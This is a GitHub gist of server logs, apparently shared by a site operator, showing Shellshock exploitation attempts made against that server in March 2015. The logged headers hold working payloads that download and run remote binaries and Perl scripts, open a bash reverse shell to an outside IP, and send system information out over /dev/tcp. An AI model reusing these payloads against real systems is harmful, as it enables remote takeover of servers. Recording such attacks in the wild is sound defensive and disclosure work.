Skip to content

Instantly share code, notes, and snippets.

@alexanderfefelov

alexanderfefelov/access.2015-03-05

Created March 24, 2015 02:59
Show Gist options
  • Save alexanderfefelov/fafc84a2b7d850762dad to your computer and use it in GitHub Desktop.
Save alexanderfefelov/fafc84a2b7d850762dad to your computer and use it in GitHub Desktop.
Download ZIP
Someone is trying to use Shellshock
Raw
access.2015-03-05
2015-03-05 14:40:18,395 access [INFO] request-id=4111 remote-address=195.238.181.22 user-agent=() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://212.56.214.209/mysqld -O /tmp/mysqld;curl -O /tmp/mysqld http://212.56.214.209/mysqld;chmod 777 /tmp/mysqld;/tmp/mysqld;wget http://212.56.214.209/mysqld_64 -O /tmp/mysqld_64;curl -O /tmp/mysqld_64 http://212.56.214.209/mysqld_64;chmod 777 /tmp/mysqld_64;/tmp/mysqld_64;");' uri=/cgi-sys/entropysearch.cgi method=GET time=0ms status=404
Raw
access.2015-03-17
2015-03-17 18:10:53,107 access [INFO] request-id=4146 remote-address=209.92.176.24 user-agent=() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("rm -rf /tmp/l.pl*;wget http://87.106.189.34/ou.pl -O /tmp/l.pl;curl -O /tmp/l.pl http://87.106.189.34/ou.pl;perl /tmp/l.pl;rm -rf l.pl**");' uri=/ method=GET time=1ms status=200
Raw
access.2015-03-19
2015-03-19 10:04:32,941 access [INFO] request-id=338 remote-address=222.73.18.162 user-agent=() { :; }; /bin/bash -i >& /dev/tcp/50.84.167.237/31337 0<&1 2>&1 uri=/cgi-bin/test-cgi method=GET time=1ms status=404
Raw
play.2015-03-19
2015-03-09 21:21:45,364 play [DEBUG] Couldn't decode the Cookie header containing: () { :;}; /bin/bash -c "echo 109.120.177.39/phppath/cgi_wrapper > /dev/tcp/62.193.192.103/23; /bin/uname -a > /dev/tcp/62.193.192.103/23; echo 109.120.177.39/phppath/cgi_wrapper > /dev/udp/62.193.192.103/80"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment